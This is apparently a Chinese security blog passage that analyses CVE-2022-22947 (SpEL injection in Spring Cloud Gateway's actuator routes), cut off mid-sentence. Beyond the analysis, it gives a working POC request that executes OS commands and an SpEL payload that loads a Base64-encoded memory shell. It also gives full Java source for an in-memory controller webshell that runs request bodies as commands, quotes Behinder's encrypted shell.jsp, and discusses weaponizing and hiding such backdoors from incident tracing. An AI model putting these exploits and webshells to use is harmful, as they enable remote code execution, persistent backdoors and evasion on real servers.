漏洞分析许多师傅都写了非常详尽的文章,因此这部分仅分析记录重点内容和有一些有趣的东西。
官方公告:https://tanzu.vmware.com/security/cve-2022-22947
Code Diff:https://github.com/spring-cloud/spring-cloud-gateway/commit/d8c255eddf4eb5f80ba027329227b0d9e2cd9698#diff-7aa249852020f587b35d07cd73c39161c229700ee1e13a9a146c114f542083bcL55-L61
漏洞发现者Blog相关文章:https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
漏洞原理:本质属于SpEL表达式注入漏洞,可通过ShortcutConfigurable#getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue)
对可控表达式通过StandardEvaluationContext进行解析从而造成RCE。
调试分析的POC采用:
POST /actuator/gateway/routes/rce HTTP/1.1 Content-Type: application/json Host: 127.0.0.1:8000 Connection: close User-Agent: Paw/3.3.5 (Macintosh; OS X/12.2.0) GCDHTTPRequest Content-Length: 362 { "id": "rce", "filters": [ { "name": "AddResponseHeader", "args": { "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}", "name": "cmd" } } ], "uri": "http://localhost:8080", "order": 2 }
老规矩,在触发点断点以回溯函数调用栈。我们需要控制entryValue即可实现SpEL表达式注入。
在上一个调用函数中可以观察到,会根据ShortcutType的类型执行不同的normalize函数。虽然这里调用栈是走的DEFAULT,但是其他类型的normalize函数也会进行SpEL表达式执行。他们同样都需要对normalize函数参数的args进行控制,使得其某一个entry的value为恶意SpEL表达式字符串。
函数参数args再对应到上一个函数调用的properties参数。回顾前面的Poc可知,即"filters"的"args"。
再向上回溯,发现是在bind()的流程中会进行一个参数解析的触发。那么查看Callers of bind即可知道有哪些触发机会。其中橘色方框的loadGatewayFilters触发链即为前面AddResponseHeader Filter的触发链,绿色的combinePredicates链表明,在route definition时声明一个Predicates一样能触发SpEL表达式注入。
也就是说,除了如果需要回显可能会对链的选择有所限制,实际上几乎所有的通过内置验证的Filters、Predicates都可以实现SpEL表达式注入。这个有师傅已经做了比较详尽的分析,参见REF[10]。
convertToRoute则会在路由初始化的时候触发,详见REF[9]。
Spring Cloud Gateway是基于Spring WebFlux实现的,如下图所示,可以注入Netty内存马或者Spring内存马。
Netty内存马的EXP已经有师傅在GitHub上给出,下面主要是Spring的内存马分析与编写。
From: c0ny1 详见REF[3]
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
其中'yv66vgAAA....'
为Base64Encode的字节码,可通过如下代码生成:
import org.springframework.util.Base64Utils; import java.io.*; import java.nio.charset.StandardCharsets; public class EncodeShell { public static void main(String[] args){ byte[] data = null; try { InputStream in = new FileInputStream("MemShell.class"); data = new byte[in.available()]; in.read(data); in.close(); } catch (IOException e) { e.printStackTrace(); } String shellStr = Base64Utils.encodeToString(data); System.out.println(shellStr); try { OutputStream out = new FileOutputStream("ShellStr.txt"); out.write(shellStr.getBytes(StandardCharsets.UTF_8)); out.flush(); out.close(); } catch (IOException e) { e.printStackTrace(); } } }
参考基于内存 Webshell 的无文件攻击技术研究这篇文章,作者提出了3中注册方法。
- 在 spring 4.0 及以后,可以使用 RequestMappingHandlerMapping#requestMapping 注册,这是最直接的一种方式。
- 针对使用 DefaultAnnotationHandlerMapping 映射器的应用,使用org.springframework.web.servlet.handler.AbstractUrlHandlerMapping#registerHandler
- 针对使用 RequestMappingHandlerMapping 映射器的应用,使用org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#detectHandlerMethods
重点在于,使用 registerMapping 动态注册 controller 时,不需要强制使用 @RequestMapping 注解定义 URL 地址和 HTTP 方法,其余两种手动注册 controller 的方法都必须要在 controller 中使用@RequestMapping 注解 。
Spring Cloud Gateway是Spring 5.0推出的产物,因此可以选用方法1或者2进行注入。测试代码如下,两种均可行。
package tech.portal.api.gateway.shell; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.reactive.result.condition.PatternsRequestCondition; import org.springframework.web.reactive.result.condition.RequestMethodsRequestCondition; import org.springframework.web.reactive.result.method.RequestMappingInfo; import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping; import org.springframework.web.util.pattern.PathPattern; import org.springframework.web.util.pattern.PathPatternParser; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Scanner; public class SpringRequestMappingMemshell { public static String doInject(RequestMappingHandlerMapping requestMappingHandlerMapping) { String msg = "inject-start"; try { firstWay(requestMappingHandlerMapping); // originalWay(requestMappingHandlerMapping); msg = "inject-success"; } catch (Exception e) { msg = "inject-error"; } return msg; } // 通过方法2注入 public static void originalWay(RequestMappingHandlerMapping requestMappingHandlerMapping) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class); registerHandlerMethod.setAccessible(true); Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class); PathPattern pathPattern = new PathPatternParser().parse("/*"); PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern); RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null); registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo); } //通过方法1注入 public static void firstWay(RequestMappingHandlerMapping requestMappingHandlerMapping) throws NoSuchMethodException { // 2. 通过反射获得自定义 controller 中的 Method 对象 Method method = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class); // 3. 定义访问 controller 的 URL 地址 PathPattern pathPattern = new PathPatternParser().parse("/*"); PatternsRequestCondition url = new PatternsRequestCondition(pathPattern); // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST) RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 5. 在内存中动态注册 controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); requestMappingHandlerMapping.registerMapping(info, new SpringRequestMappingMemshell(), method); } public ResponseEntity executeCommand(@RequestBody String reqBody) throws IOException { String execResult = new Scanner(Runtime.getRuntime().exec(reqBody).getInputStream()).useDelimiter("\\A").next(); return new ResponseEntity(execResult, HttpStatus.OK); } }
最终效果为:
但需要注意注入Controller内存马有个很大的缺点,每个Controller对应一个或者多个路由。如果你用一个新路由,可能被拦,或者方便别人溯源定位入侵时间;如果用业务已有路由,会直接对其造成覆盖,是个更糟糕的情况。
在Behinder(v3.0 Beta 9 fixed)的Server文件夹下,提供了shell.jsp。
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> <%! class U extends ClassLoader{ U(ClassLoader c){ super(c); } public Class g(byte []b){ return super.defineClass(b,0,b.length); } } %> <% if (request.getMethod().equals("POST")){ String k="e45e329feb5d925b"; /*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ session.putValue("u",k); Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); } %>
根据[4]已有的分析:
shell.jsp中需要特别注意pageContext这个对象,它是jsp文件运行过程中自带的对象,可以获取request/response/session这三个包含页面信息的重要对象,对应pageContext有getRequest/getResponse/getSession方法。学艺不精,暂时没有找到从spring和tomcat中获取pageContext的方法。
但是从冰蝎的作者给出的提示可以知道,冰蝎3.0 bata7之后不在依赖pageContext,见github issue
又从源码确认了一下,在equal函数中传入的object有request/response/session对象即可
可得知,如果你不想自己写request/response/session的实现,在Java应用的Lib中必定需要以下两个类:
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse;
但实际发现Spring Cloud Gateway并没有这两个类,猜测可能是Spring WebFlux没有Servlet API,即在非开发者额外导入的情况下,JVM中没有HttpServletRequest、HttpServletResponse。经搜索,下图验证了猜想。
因此武器化无法容易地实现和冰蝎的连接,需要在加载冰蝎的java代码中,将pageContext替换为一个Map,并自己实现冰蝎所用到的里面object的所有方法。
Map<String, Object> objMap = (Map)obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request");
前面提到Controller的内存马的一些缺陷。其实对于Servlet API中我们更倾向于选择Filter型是同样的道理,Spring WebFulx即使换到Reactive也必然有一个「Filter」,即WebFilter。
The Web Filters are very similar to the Java Servlet Filters that they intercept requests and responses on a global level. Most importantly, the WebFilter is applicable to both annotation based WebFlux Controllers and the Functional Web framework style Routing Functions.
通过编写一个正常的Filter Demo能发现,DefaultWebFilterChain的allFilters属性存储了当前的Filer链,那么猜测是否直接修改这个属性,向里面添加一个自己编写的Filter就可以了?
@Component @Order(value = 2) public class NormalFilter implements WebFilter { @Override public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) { System.out.println("---NormalFilter---"); return chain.filter(exchange); } }
通过Java Object Searcher可以快速定位到该实例:
TargetObject = {reactor.netty.resources.DefaultLoopResources$EventLoop}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [14] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1}
---> this$0 = {org.springframework.boot.web.embedded.netty.NettyWebServer}
---> handler = {org.springframework.http.server.reactive.ReactorHttpHandlerAdapter}
---> httpHandler = {org.springframework.boot.web.reactive.context.WebServerManager$DelayedInitializationHttpHandler}
---> delegate = {org.springframework.web.server.adapter.HttpWebHandlerAdapter}
---> delegate = {org.springframework.web.server.handler.ExceptionHandlingWebHandler}
---> delegate = {org.springframework.web.server.handler.FilteringWebHandler}
---> chain = {org.springframework.web.server.handler.DefaultWebFilterChain}
但实际上经过尝试会发现,仅仅只修改了上图的这个chain.allFilters是无法实现新增Filter的。如下图所示,我两次修改allFilters,向里面添加一个HackFilters都仅仅添加到了第一处。而遍历Filter的逻辑并不是我们之前想象的,只对第一个chain.allFilters进行遍历。
再回头来看DefaultWebFilterChain这个类的注解,发现一个DefaultWebFilterChain实例并非对应一个Chain,而仅仅是一个Link。(不要向笔者学习